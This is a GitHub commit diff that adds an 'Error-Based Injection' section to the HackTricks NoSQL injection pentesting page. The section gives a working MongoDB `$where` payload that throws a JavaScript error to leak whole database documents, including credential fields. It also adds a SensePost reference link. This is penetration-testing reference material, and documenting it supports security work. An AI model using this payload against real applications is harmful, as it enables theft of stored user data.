Skip to content

Commit 5b06f00

Browse files
authored
Merge pull request #1043 from HackTricks-wiki/update_NoSQL_Error-Based_Injection_20250708_183756
Add content: NoSQL Error-Based Injection
2 parents fb192b3 + 59b8232 commit 5b06f00

File tree

1 file changed

+9
-0
lines changed

1 file changed

+9
-0
lines changed

src/pentesting-web/nosql-injection.md

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -126,6 +126,14 @@ It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference
126126
]
127127
```
128128

129+
### Error-Based Injection
130+
131+
Inject `throw new Error(JSON.stringify(this))` in a `$where` clause to exfiltrate full documents via server-side JavaScript errors (requires application to leak database errors). Example:
132+
133+
```json
134+
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
135+
```
136+
129137
## MongoDB Payloads
130138
131139
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@@ -253,6 +261,7 @@ for u in get_usernames(""):
253261
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
254262
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
255263
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
264+
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
256265
257266
{{#include ../banners/hacktricks-training.md}}
258267

0 commit comments

Comments
 (0)